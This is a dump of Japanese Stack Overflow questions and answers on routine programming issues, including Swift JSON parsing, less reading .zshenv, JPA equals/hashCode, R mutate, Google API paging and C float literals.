"body": "パースについてお願いします。\n\n\"weather\":[{\"id\":0,\"main\":\"Rain\",\"description\":\"light intensity shower\nrain\",\"icon\":\"09n\"}]\n\nをパースする場合、\n\n```\n\n let task = URLSession.shared.dataTask(with: _url!,completionHandler:{data,response,error in do{\n \n let dict1:NSDictionary = try JSONSerialization.jsonObject(with: data!, options: JSONSerialization.ReadingOptions.mutableContainers) as! NSDictionary\n \n```\n\nの後に、\n\n```\n\n let dict = dict1[\"weather\"] as! NSDictionary\n let id = dict2[\"id\"] as! NSArray\n \n```\n\nをすると、以下のエラーが出ます。\n\nCould not cast value of type '__NSArrayM' to 'NSDictionary'\n\nこの解決方法はどのように記述すれば回避できますか?",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T07:16:34.473",
"favorite_count": 0,
"id": "32144",
"last_activity_date": "2017-01-25T10:54:42.563",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20049",
"post_type": "question",
"score": 0,
"tags": [
"swift",
"json"
],
"title": "jsonファイルのパースについて",
"view_count": 2108
} | [
{
"body": "あなたの示されたJSONデータで`\"weather\"`に対応する値は、`[...]`の形(必ず一番外側の記号に注目してください)になっています。これはJSON\nobject(読み込んだ後は`NSDictionary`)ではなく、JSON\narray(読み込んだ後は`NSArray`)になります。(`__NSArrayM`というのは`NSArray`の一種です。)\n\nそのエラーメッセージは\n\n> (`NSArray`の一種である)`__NSArrayM`をキャストで`NSDictionary`に変換することはできません\n\nと言っているわけです。\n\nJSONデータの方に目を戻しますと、`[...]`の内側の要素は`{...}`の形、つまりJSON\nobjectが1個だけと言う状態です。あなたが扱いたいデータは、この内側のJSON objectでしょう。\n\nつまり、「要素が1個だけ入っている配列からその要素を取り出す」と言うコードを書いてやる必要があります。\n\n`as!`と言う演算子は「もしデータ型が間違っていたらアプリをクラッシュさせてください」と言うものですから、今回の例のようにデータ型に絶対の自信が持てない場所では使うべきではありません。\n\nその辺を避けようとすると少々長くなりますが、例えばこんなコードになります:\n\n```\n\n enum MyError: Error {\n case BadJSON(String)\n }\n \n //...\n \n do {\n guard let dict1 = try JSONSerialization.jsonObject(with: data!) as? [String: Any] else {\n throw MyError.BadJSON(\"Not a dictionary\")\n }\n guard let arr = dict1[\"weather\"] as? [[String: Any]] else {\n throw MyError.BadJSON(\"weather is not an array of dictionaries\")\n }\n //`dict[\"weather\"]`は配列なのでその中から最初の1個を使う\n guard let dict2 = arr.first else {\n throw MyError.BadJSON(\"weather is empty\")\n }\n //\"id\"の値はJSON arrayではないので、`as! NSArray`としてはダメ\n guard let id = dict2[\"id\"] as? Int else {\n throw MyError.BadJSON(\"cannot get id\")\n }\n print(id) //->0\n } catch {\n print(error)\n }\n \n```\n\n* * *\n\nその他にも、\n\n * `NSArray`や`NSDictionary`ではなく、できるだけSwiftの`Array`や`Dictionary`を使った方が良い\n * 読み取った結果を変更することはないのだから、`JSONSerialization.ReadingOptions.mutableContainers`オプションは不要\n\nと言う修正も同時に入れてしまったので、少しわかりにくい点があるかもしれませんが、何かありましたらコメント等でお知らせください。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T10:54:42.563",
"id": "32151",
"last_activity_date": "2017-01-25T10:54:42.563",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13972",
"parent_id": "32144",
"post_type": "answer",
"score": 1
}
]
| 32144 | 32151 | 32151 |
{
"accepted_answer_id": "32157",
"answer_count": 1,
"body": "zsh(5。2)を使っています。 \nそこで`less` (`/usr/bin/less` less458) を使うと、どうやら \n`~/.zshenv`をよむようです。\n\nそしてたとえば`~/.zshenv`に`echo hi`のようにあると \n`less hogehoge.txt` \nをおこなうと`hogehoge.txt`の中身に関わらず \nhiが表示されるだけになります。\n\n何がおかしいのでしょうか?\n\nless はMANPAGERにしてあります。",
"comment_count": 8,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T08:07:23.070",
"favorite_count": 0,
"id": "32147",
"last_activity_date": "2017-01-25T13:35:41.950",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "10768",
"post_type": "question",
"score": 5,
"tags": [
"zsh"
],
"title": "lessをつかったとき.zshenvをよみにいきますか?",
"view_count": 182
} | [
{
"body": "`less` のソースコードを眺めてみますと、`LESSOPEN` に指定されたコマンドを\n\n```\n\n $SHELL -c cmd\n \n```\n\nとして実行しています。\n\n**less-481/filename.c**\n\n```\n\n public char *\n open_altfile(filename, pf, pfd)\n :\n {\n :\n if ((lessopen = lgetenv(\"LESSOPEN\")) == NULL)\n return (NULL);\n while (*lessopen == '|')\n {\n /*\n * If LESSOPEN starts with a |, it indicates \n * a \"pipe preprocessor\".\n */\n \n :\n len = (int) (strlen(lessopen) + strlen(filename) + 2);\n cmd = (char *) ecalloc(len, sizeof(char));\n SNPRINTF1(cmd, len, lessopen, filename);\n fd = shellcmd(cmd);\n \n :\n \n static FILE *shellcmd(cmd)\n char *cmd;\n {\n :\n shell = lgetenv(\"SHELL\");\n if (shell != NULL && *shell != '\\0')\n {\n :\n /*\n * Read the output of <$SHELL -c cmd>. \n * Escape any metacharacters in the command.\n */\n esccmd = shell_quote(cmd);\n if (esccmd == NULL)\n {\n fd = popen(cmd, \"r\");\n } else\n :\n \n```\n\nなので、例えば、\n\n```\n\n zsh% SHELL=/bin/bash less filename\n \n```\n\nなどとすると `~/.zshenv` を読み込まなくなります。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T13:35:41.950",
"id": "32157",
"last_activity_date": "2017-01-25T13:35:41.950",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": null,
"parent_id": "32147",
"post_type": "answer",
"score": 6
}
]
| 32147 | 32157 | 32157 |
{
"accepted_answer_id": "57151",
"answer_count": 2,
"body": "JPAのエンティティクラスに、`equals`メソッドや`hashCode`メソッドは明示的に実装する必要がありますか? \nまたその場合、主キーのみに基いて比較判定する処理であれば良いですか?\n\nそれとも、`@Id`アノテーションがついているだけで良いですか? \n(JPAの内部で`@Id`付きフィールドを探して比較してくれる?)\n\n`@Embeddable`を付けた複合主キークラスは、`equals`と`hashCode`を実装しなければならない、ということは、以下サイトで知りましたが・・・ \n<http://enterprisegeeks.hatenablog.com/entry/2015/04/27/134840>\n\n関連しそうな情報を見つけましたが、英語が苦手なせいか、よく分かりませんでした: \n<https://stackoverflow.com/questions/4388360/should-i-write-equals-methods-in-\njpa-entities> \n<https://developer.jboss.org/wiki/EqualsandHashCode>",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T09:21:34.383",
"favorite_count": 0,
"id": "32149",
"last_activity_date": "2019-08-04T04:33:26.673",
"last_edit_date": "2017-05-23T12:38:56.467",
"last_editor_user_id": "-1",
"owner_user_id": "8078",
"post_type": "question",
"score": 1,
"tags": [
"java",
"jpa"
],
"title": "JPAのエンティティにはequalsとhashCodeを実装すべきか?",
"view_count": 2256
} | [
{
"body": "まず、`equals`と`hashCode`のオーバーライドが重要になってくるのは、主にオブジェクトを`Set`や`Map`といったコレクションに入れる場合です。 \nコレクションの内部処理が`equals`と`hashCode`に依存しているためです。 \nなので、エンティティオブジェクトをコレクションに入れたり、比較したりする必要がないのなら、`equals`と`hashCode`のオーバーライドが必要というわけではないでしょう。\n\n> (JPAの内部で@Id付きフィールドを探して比較してくれる?)\n\nこのようなことはしてくれないと思います。 \n[APIリファレンス](http://docs.oracle.com/javaee/6/api/javax/persistence/Id.html)にもそんなことは書いてありませんし。\n\n[この記事](https://developer.jboss.org/wiki/EqualsandHashCode)を読むと以下の様な見解になります。 \nエンティティクラスでは`equals`と`hashCode`をオーバーライドするのがベストプラクティスです。 \nひとつのセッションの中でセッションにアタッチされたエンティティオブジェクトだけを扱うのであれば、JPAプロバイダがインスタンス管理をしてくれるので`Object#equals`そのままでも問題なく扱えますが、普通はそうはいきません。 \n複数のセッションにまたがってエンティティオブジェクトを扱う場合、JPAプロバイダはインスタンスを管理しきれないので、同じレコードを表すオブジェクトが異なるインスタンスになります。 \nこの場合、`equals`をオーバーライドしないと適切な比較ができません。 \nまた、`equals`で比較するのは、JPAプロバイダが自動生成するIDよりも、アプリ側でセットするユニークなフィールド(自然キーがベスト)がいいようです。 \nこれは単にIDの自動生成前でも`equals`を使えるようにするためです。 \nその必要がなければ自動生成するIDを比較するだけでよさそうですが。",
"comment_count": 4,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-03-04T08:08:11.770",
"id": "33087",
"last_activity_date": "2017-03-04T08:08:11.770",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19437",
"parent_id": "32149",
"post_type": "answer",
"score": 1
},
{
"body": "(既に正しいと私が考える回答は出ていますが、別の説明を試みてみます)\n\n* * *\n\n一般的なクラス設計の話として、[Effective Java 第3版](https://www.maruzen-\npublishing.co.jp/item/?book_no=303054) 第3章 項目10 \"`equals`\nをオーバーライドするときは一般契約に従う\" に次のように書かれています:\n\n> `equals`\n> メソッドをオーバーライドするのは簡単なように思えますが、間違ったやり方でオーバーライドしてしまう方法はたくさんあり、その結果は悲惨なものになります。問題を避ける最も簡単な方法は、`equals`メソッドをオーバーライドしないことです。 \n> (中略) \n> では、いつ `equals` をオーバーライドするのが適切でしょうか。それは、クラスが単なるオブジェクトの同一性とは異なる論理的等価性(logical\n> equality)という概念を持っていて、かつスーパークラスが`equals`をオーバーライドしていないときです。\n\nJPAエンティティクラスはどうかというと、論理的等価性はあります(簡単にいうと`@Id`フィールドの値が同じであれば論理的に等価です(※十分条件であって必要条件ではない))。 \nただし、JPAフレームワークは、論理的に等価であればデフォルト実装の`equals`も`true`になるよう(可能な限り)取り計らってくれますので、デフォルト実装で大抵の場合うまく動きます。\n\n* * *\n\n質問文に書かれているリンクより新しく具体的な説明がHibernateのユーザガイドにあります。\n\n * [2.5.7. Implementing equals() and hashCode()](https://docs.jboss.org/hibernate/orm/5.4/userguide/html_single/Hibernate_User_Guide.html#mapping-model-pojo-equalshashcode) \\- Hibernate ORM 5.4.4.Final User Guide\n\n> Generally, this is pertinent for user-defined classes used as composite\n> identifiers. Beyond this one very specific use case and few others we will\n> discuss below, you may want to consider not implementing equals/hashCode\n> altogether.\n\n* * *\n\n質問文に対するそれぞれの回答としては:\n\n> JPAのエンティティクラスに、equalsメソッドやhashCodeメソッドは明示的に実装する必要がありますか?\n\n通常は不要です。(原理主義的には実装するのが正しいですが、それより誤った実装を行ってしまうリスクを懸念すべきです。)\n\n> またその場合、主キーのみに基いて比較判定する処理であれば良いですか?\n\n(これは`equals`のオーバーライドが難しいことの1つの具体例ですが) \n一般的にはこの考えは誤っています。 \n例えば `@Id` を `@GeneratedValue` で決定するJPAエンティティクラスは、永続化するまで主キーがありません。\n\n> それとも、@Idアノテーションがついているだけで良いですか? \n> (JPAの内部で@Id付きフィールドを探して比較してくれる?)\n\n通常はその考えで良いです。 \n(同一Persistence Contextでは)同一`@Id`は同一インスタンスとなるよう取り計らってくれるので、`@Id`が同じなら `==`\nが`true`であり、すなわち`equals`が`true`になります。",
"comment_count": 2,
"content_license": "CC BY-SA 4.0",
"creation_date": "2019-08-04T04:33:26.673",
"id": "57151",
"last_activity_date": "2019-08-04T04:33:26.673",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "2808",
"parent_id": "32149",
"post_type": "answer",
"score": 1
}
]
| 32149 | 57151 | 33087 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "R3.3.2とパッケージtidyverseを用いて前処理中です。 \n以下のようなデータなのですが、同じidについて複数回調査(chousaが調査回数)しています。 \n同じ調査項目(今回はQ1)が0から1に変わってから1回目、2回目、…4回目までのデータがほしいです。 \nどのようにmutateすればよいでしょうか? \nよろしくお願いします。\n\n```\n\n ID Q1 Q6 chousa …\n 1 0 3 1\n 1 1 23 2 \n 1 1\n 2 0 27 3 \n 2 0 28 4 \n 2 1 29 5\n \n```\n\nこれの場合は\n\n```\n\n ID change1 change2 … \n 1 0 0\n 1 1 0\n 1 0 1\n 2 0 0\n 2 0 0\n 2 1 0\n \n```\n\nとなるようにしたいです。\n\n**追記** \n同一IDについてQ1が0,0,1,1,1,1,0と来たら\n\n```\n\n change1:0,0,1,0,0,0,0\n change2:0,0,0,1,0,0,0\n change3:0,0,0,0,1,0,0\n change4:0,0,0,0,0,1,0\n change5:0,0,0,0,0,0,0\n \n```\n\nとなるようにしたいです。\n\n```\n\n mutate(change1=ifelse(Q1==1&Q1-lag(Q1)==1,1,0),\n change2=ifelse(Q1==1&lag(change1)==1,1,0),\n change3=ifelse(Q1==1&lag(change2)==1,1,0),\n change4=ifelse(Q1==1&lag(change3)==1,1,0))\n \n```\n\nで行けるような気がしますが\n\n```\n\n id chousa change1 change2 change3\n 5 2 1 0 0\n 5 3 0 1 0\n 5 4 0 0 1\n \n```\n\nとなってほしいものが\n\n```\n\n id chousa change1 change2 change3\n 5 2 0 0 1\n 5 3 0 1 0\n 5 4 1 0 0\n \n```\n\nと反対になってしまいます。group_byした時にIDの昇順降順が逆になっているようなのですがどうしたら良いのでしょうか…\n\n→group_by(ID)だけでなくその後にarrange(ID,chousa) で解決しました。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T10:33:56.033",
"favorite_count": 0,
"id": "32150",
"last_activity_date": "2020-11-29T05:08:20.837",
"last_edit_date": "2017-01-26T09:15:36.563",
"last_editor_user_id": "12457",
"owner_user_id": "12457",
"post_type": "question",
"score": 2,
"tags": [
"r"
],
"title": "Rで同じidのカラム内の変数の移行のチェック",
"view_count": 242
} | [
{
"body": "質問がきちんと理解できていませんが、次のようにすれば希望の形が出力されます。 \n(change1、change2の判定がわかりにくい)\n\nIDごとに処理するのがミソになるのだと思います。\n\n```\n\n library(tidyverse)\n data_frame(\n ID = c(rep(1, 3), rep(2, 3)),\n Q1 = c(0, 1, 1, 0, 0, 1),\n chosa = c(1, 2, NA, 3, 4, 5)\n ) %>% \n # IDごとに集計\n group_by(ID) %>% \n # change1: 対象行のQ1と対象行から次の行のQ1の値を引く\n # このときIDの先頭行はNAとなり、連続値の時には0となる\n # change2: change1の値とQ1の値の差分をとり、Q1に同じ値が続く場合に1となるようにする\n mutate(change1 = Q1 - lag(Q1),\n change2 = Q1 - change1) %>% \n ungroup() %>% \n # NAを0として処理する\n mutate_at(num_range(\"change\", 1:2), funs(ifelse(test = is.na(.), yes = 0, no = .))) %>% \n select(ID, num_range(\"change\", 1:2))\n \n```\n\nロジックが理解できていないので、データ数が増えるとダメになるかもしれません。ご参考までに。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T12:00:41.933",
"id": "32154",
"last_activity_date": "2017-01-25T12:00:41.933",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "6020",
"parent_id": "32150",
"post_type": "answer",
"score": 0
}
]
| 32150 | null | 32154 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "```\n\n using Google.Apis.Admin.Directory.directory_v1;\n using Google.Apis.Admin.Directory.directory_v1.Data;\n using Google.Apis.Auth.OAuth2;\n using Google.Apis.Services;\n using Google.Apis.Util.Store;\n \n # Code\n \n GroupsResource.ListRequest groupsResourceRequest = service.Groups.List();\n groupsResourceRequest.Customer = customer;\n IList<Group> g = groupsResourceRequest.Execute().GroupsValue;\n \n```\n\nこの方法では200件までしか取得できません。\n\ngoogleのgithubで質問したところGoogle.Apis.Drive.v3を使うようなアドバイスがあったのですが、この2つがどのように結びつけるのか見当がつきません\n\n<https://github.com/google/google-api-dotnet-client/issues/905> \n<https://gist.github.com/LindaLawton/0fe663bb9796acd875b676a9f1423a48>\n\n何かアドバイスが頂ければと思います。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-25T11:32:48.073",
"favorite_count": 0,
"id": "32152",
"last_activity_date": "2017-03-03T12:28:30.350",
"last_edit_date": "2017-03-03T12:28:30.350",
"last_editor_user_id": "19110",
"owner_user_id": "20390",
"post_type": "question",
"score": 0,
"tags": [
"c#",
"google-api"
],
"title": "メーリンググループリストの取得 200以上が取得できない。",
"view_count": 671
} | [
{
"body": "リンク先で説明されているのは結果の`NextPageToken`を使用して複数回リクエストを発行しろということだと思います。\n\n```\n\n // 複数回リクエストを行うので、各リクエストの結果をまとめるリストを宣言する。\n List<Group> list = new List<Group>();\n string pageToken = null;\n while (true)\n {\n GroupsResource.ListRequest groupsResourceRequest = service.Groups.List();\n groupsResourceRequest.Customer = customer;\n // 2回目以降のリクエストでは前回得たNextPageTokenを設定する。\n groupsResourceRequest.PageToken = pageToken;\n \n Groups groups = groupsResourceRequest.Execute();\n IList<Group> g = groups.GroupsValue;\n \n // 今回のリクエストの結果をリストに追加する。\n list.AddRange(g);\n // 次回リクエスト用のPageTokenを保管する。\n pageToken = groups.NextPageToken;\n \n // トークンがなければ処理終了 \n if (string.IsNullOrEmpty(pageToken) || !g.Any())\n {\n break;\n }\n }\n \n```",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T00:28:28.007",
"id": "32158",
"last_activity_date": "2017-01-26T00:28:28.007",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "5750",
"parent_id": "32152",
"post_type": "answer",
"score": 1
}
]
| 32152 | null | 32158 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "sublime text3ですが、テキストファイルを開いてファイル検索を行うと検索結果が<binary>と表示されます。 \n具体的には下記表示となります。\n\n```\n\n <binary>\n \n 384 matches in 1 file\n \n```\n\nマッチした行を表示させたいのですが、どのようにすればよいでしょうか。\n\n**2017/01/26 13:42追記** \nファイル形式は.logで、linux上でscriptを使用して取得したテキストファイルとなります。 \nちなみにctrl+fでの検索は問題なくできます。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T02:01:47.273",
"favorite_count": 0,
"id": "32159",
"last_activity_date": "2017-04-06T06:02:53.990",
"last_edit_date": "2017-01-26T04:44:40.943",
"last_editor_user_id": "20395",
"owner_user_id": "20395",
"post_type": "question",
"score": 0,
"tags": [
"sublimetext"
],
"title": "sublime text3のファイル検索結果が<binary>となる件について",
"view_count": 537
} | [
{
"body": "StackOverflowに[同様](https://stackoverflow.com/questions/26030179/sublime-text-\nfind-in-files-gives-binary-in-the-find-results)の質問がありました。\n\nこれによると以下のいずれかが原因となるようです。\n\n 1. ファイルサイズが大きすぎるための回避としてバイナリファイルとして検索されている\n 2. ファイル内に不正な文字があるため、バイナリファイルとして検索されている\n\n一度ファイルを分割されて検索されてみてはいかがでしょうか。 \nファイル分割後に検索し、どの分割されたファイルでも検索できれば1.が原因。 \n特定の分割されたファイルが検索できなければ2.が原因となると思います。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T05:02:33.113",
"id": "32165",
"last_activity_date": "2017-01-26T05:02:33.113",
"last_edit_date": "2017-05-23T12:38:55.307",
"last_editor_user_id": "-1",
"owner_user_id": "20272",
"parent_id": "32159",
"post_type": "answer",
"score": 1
}
]
| 32159 | null | 32165 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "以下を実行した時エラーが出ました。\n\n```\n\n create-react-app react_lessons\n Creating a new React app in /var/www/html/react_lessons/react_lessons.\n \n Installing packages. This might take a couple minutes.\n Installing react-scripts...\n \n npm WARN optional dep failed, continuing [email protected]\n npm install --save-dev --save-exact react-scripts failed\n \n```\n\nコマンド実行してから30分以上たって上記エラーが出ました。\n\nディレクトリを確認すると一通りファイルは生成されていそうなのですが \npackage.jsonも自動生成されていたので確認したところ以下の記述しかありませんでした。\n\n```\n\n \"name\": \"react_lessons\",\n \"version\": \"0.1.0\",\n \"private\": true\n \n```\n\nreact-scriptsのインストールが失敗しているのでしょうか。 \nこういった場合どのような解決方法がいいのでしょうか。\n\n補足情報としてnpm install -g create-react-appを実行したときにエラーが発生し \nsudoを付けて実行し直したところ実行できたという経緯があります。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T02:57:45.210",
"favorite_count": 0,
"id": "32161",
"last_activity_date": "2022-05-10T07:01:45.130",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19992",
"post_type": "question",
"score": -1,
"tags": [
"node.js",
"reactjs"
],
"title": "create-react-appでfaildと表示されました。",
"view_count": 551
} | [
{
"body": "色々調べて試しているうちにとりあえず解決したのでメモしておきます。 \nおそらく`index.html`で読み込んでいる`react.js`、`reactdom.js`とbabelの`browser.min.js`の相性が \n悪かった可能性が高そうです。\n\n```\n\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/react/15.2.1/react.js\"></script>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/react/15.2.1/react-dom.js\"></script>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/babel-core/5.8.34/browser.min.js\"></script>\n \n```\n\nこちらで当方の環境ではうまくいきました。 \n根本的な原因などもし間違った情報を上げてしまっていたら申しわけありません。 \nお手数ですがご指摘いただけましたら幸いです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-02-05T02:13:43.680",
"id": "32390",
"last_activity_date": "2018-04-08T08:49:44.130",
"last_edit_date": "2018-04-08T08:49:44.130",
"last_editor_user_id": "3060",
"owner_user_id": "19992",
"parent_id": "32161",
"post_type": "answer",
"score": 0
},
{
"body": "`create-react-app`のインストールに`sudo`を用いる必要はありません。`npm`はどのようにインストールしましたか?\n\n```\n\n $ which npm\n /Users/<username>/.nodebrew/current/bin/npm\n \n```\n\n \nまた、`/var/www/html/`でないディレクトリで試してみてください。\n\n```\n\n $ cd ~\n $ npx create-react-app react-lessons\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2019-04-12T05:01:30.550",
"id": "54113",
"last_activity_date": "2019-04-12T05:01:30.550",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "26586",
"parent_id": "32161",
"post_type": "answer",
"score": 0
}
]
| 32161 | null | 32390 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "[](https://i.stack.imgur.com/AbudF.png)\n\n上の図(あくまで例で、これと同じ方式でやりたいというわけではありません)のように、顔画像から頭髪を含まない輪郭部分だけ抽出して画像化するにはどのようにすれば良いでしょうか \n言語はPythonかC++だと都合がいいです。画像はhttp://www.intechopen.com/books/new-approaches-to-\ncharacterization-and-recognition-of-faces/real-time-video-\nface-recognition-for-embedded-\ndevicesからの引用です。用途としては大量の画像を自動的に処理することが目的です。\n\nOpencvの顔認識を使って特徴点から輪郭を切り取るなどを考えたのですが、具体的にどうすれば実装できるのか教えてくださると助かります",
"comment_count": 4,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T03:59:07.957",
"favorite_count": 0,
"id": "32163",
"last_activity_date": "2017-01-26T09:33:21.953",
"last_edit_date": "2017-01-26T09:33:21.953",
"last_editor_user_id": "20244",
"owner_user_id": "20244",
"post_type": "question",
"score": -2,
"tags": [
"画像"
],
"title": "顔画像から輪郭部分だけを抽出し画像化する方法",
"view_count": 1406
} | [
{
"body": "使用シーンがよくわからないのでOpenCVで用途に合わせて使用してくださいとまでしか言えないですね・・・\n\n「大量の画像を自動的に」ではなく、「ある画像を個別に」とかであればPhotoshopでいいでしょうし。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T04:07:08.540",
"id": "32164",
"last_activity_date": "2017-01-26T04:07:08.540",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "19716",
"parent_id": "32163",
"post_type": "answer",
"score": 0
}
]
| 32163 | null | 32164 |
{
"accepted_answer_id": null,
"answer_count": 0,
"body": "# scipyで描画したdendrogramの日本語の文字化けを解消したい\n\nscipyで描画したdendrogram中の日本語が文字化けしてしまいます。 \nコードは下記です。dendrogramの描画自体はうまくいっており、軸ラベルの日本語が表示されません。\n\n```\n\n from scipy.cluster.hierarchy import linkage, dendrogram\n \n df_sample = pd.DataFrame(data=[(50,40,30,20,10),(48,38,28,18,8),(40,30,20,10,0),(10,20,30,40,50),(20,25,30,35,40)], index=list(\"abcde\"), columns=list(\"abcde\"))\n pdist = pdist(df_sample, \"euclidean\")\n hc = linkage(pdist, metric=\"euclidean\", method=\"ward\")\n plt.figure(figsize=(16,9))\n plt.title(\"Dendrogram\")\n plt.xlabel(\"xlabel\", fontproperties=fp)\n plt.ylabel(\"ylabel\")\n dendrogram(hc, labels=list(\"abcde\"))\n \n```\n\n一応、下記にてmatplotlibの日本語化は試しましたが無効でした。\n\n```\n\n from matplotlib.font_manager import FontProperties\n fp = FontProperties(fname=r'/Library/Fonts/IPAfont00303/ipag.ttf')\n \n```\n\nversionはpython3.6.0を使用しています。",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T06:12:50.540",
"favorite_count": 0,
"id": "32166",
"last_activity_date": "2017-01-26T09:10:43.600",
"last_edit_date": "2017-01-26T09:10:43.600",
"last_editor_user_id": "20399",
"owner_user_id": "20399",
"post_type": "question",
"score": 0,
"tags": [
"python3",
"scipy"
],
"title": "pythonのscipyで描画したdendrogramの日本語の文字化けを解消したい",
"view_count": 1462
} | []
| 32166 | null | null |
{
"accepted_answer_id": "32193",
"answer_count": 3,
"body": "OSSのコードを見ているとたまに浮動小数点の値に下記のような\n\n```\n\n float f = 1.f;\n double d = 1.;\n \n```\n\n少数部分を書かない記法を見かけます。これは1.0f, 1.0と書く場合と比べて何か違いがあるのでしょうか? \nこういう書き方の時は、あれこれというニュアンスを含むことが多い、といった回答でもOKです。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-26T07:45:05.267",
"favorite_count": 0,
"id": "32168",
"last_activity_date": "2017-01-27T23:49:49.640",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "17238",
"post_type": "question",
"score": 3,
"tags": [
"c++",
"c"
],
"title": "C/C++のfloatの1.0と1.の違い",
"view_count": 10140
} | [
{
"body": "以下のような簡単なプログラムを用意してそれぞれアセンブルして出力してみました。 \n結果として違いは出なかったため、どちらの書き方でも言語仕様としての差異はないでしょう。 \n(もっと複雑なコードや、コンパイラによっては違いが出るのかもしれませんが、もっと詳しい方が補足されると信じます) \nコメントでも書かれているように、コーディング規約としてどうするか、といった問題だと思います。\n\ntest1.c\n\n```\n\n #include <stdio.h>\n \n int main() {\n float f = 1.f;\n double d = 1.;\n \n printf(\"%f, %lf\", f, d);\n \n return 0;\n }\n \n```\n\ntest2.c\n\n```\n\n #include <stdio.h>\n \n int main() {\n float f = 1.0f;\n double d = 1.0;\n \n printf(\"%f, %lf\", f, d);\n \n return 0;\n }\n \n```\n\nアセンブル後はどちらも以下のようになる\n\n```\n\n .section __TEXT,__text,regular,pure_instructions\n .macosx_version_min 10, 11\n .section __TEXT,__literal8,8byte_literals\n .align 3\n LCPI0_0:\n .quad 4607182418800017408 ## double 1\n .section __TEXT,__literal4,4byte_literals\n .align 2\n LCPI0_1:\n .long 1065353216 ## float 1\n .section __TEXT,__text,regular,pure_instructions\n .globl _main\n .align 4, 0x90\n _main: ## @main\n .cfi_startproc\n ## BB#0:\n pushq %rbp\n Ltmp0:\n .cfi_def_cfa_offset 16\n Ltmp1:\n .cfi_offset %rbp, -16\n movq %rsp, %rbp\n Ltmp2:\n .cfi_def_cfa_register %rbp\n subq $32, %rsp\n leaq L_.str(%rip), %rdi\n movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero\n movss LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero\n movl $0, -4(%rbp)\n movss %xmm1, -8(%rbp)\n movsd %xmm0, -16(%rbp)\n cvtss2sd -8(%rbp), %xmm0\n movsd -16(%rbp), %xmm1 ## xmm1 = mem[0],zero\n movb $2, %al\n callq _printf\n xorl %ecx, %ecx\n movl %eax, -20(%rbp) ## 4-byte Spill\n movl %ecx, %eax\n addq $32, %rsp\n popq %rbp\n retq\n .cfi_endproc\n \n .section __TEXT,__cstring,cstring_literals\n L_.str: ## @.str\n .asciz \"%f, %lf\"\n \n \n .subsections_via_symbols\n \n```\n\n* * *\n\nコンパイラ \nApple LLVM version 8.0.0 (clang-800.0.42.1)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T04:41:34.063",
"id": "32186",
"last_activity_date": "2017-01-27T04:41:34.063",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20272",
"parent_id": "32168",
"post_type": "answer",
"score": 1
},
{
"body": "C/C++コンパイラから見れば `1.0` および `1.` ともに、構文要素としては C: 浮動小数点定数( _floating-constant_ )\n/ C++: 浮動小数点リテラル( _floating-literal_ ) です。両者は全く同じものとして扱われます。\n\nプログラマ視点としては、下記いずれかではないでしょうか:\n\n * 浮動小数点数であることは明記したいが、小数部以下がゼロのため省略。\n * 有効数字(有効桁数)を表現する。`1.0`なら2桁/`1.`なら1桁。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T07:19:02.893",
"id": "32193",
"last_activity_date": "2017-01-27T07:24:43.600",
"last_edit_date": "2017-01-27T07:24:43.600",
"last_editor_user_id": "49",
"owner_user_id": "49",
"parent_id": "32168",
"post_type": "answer",
"score": 4
},
{
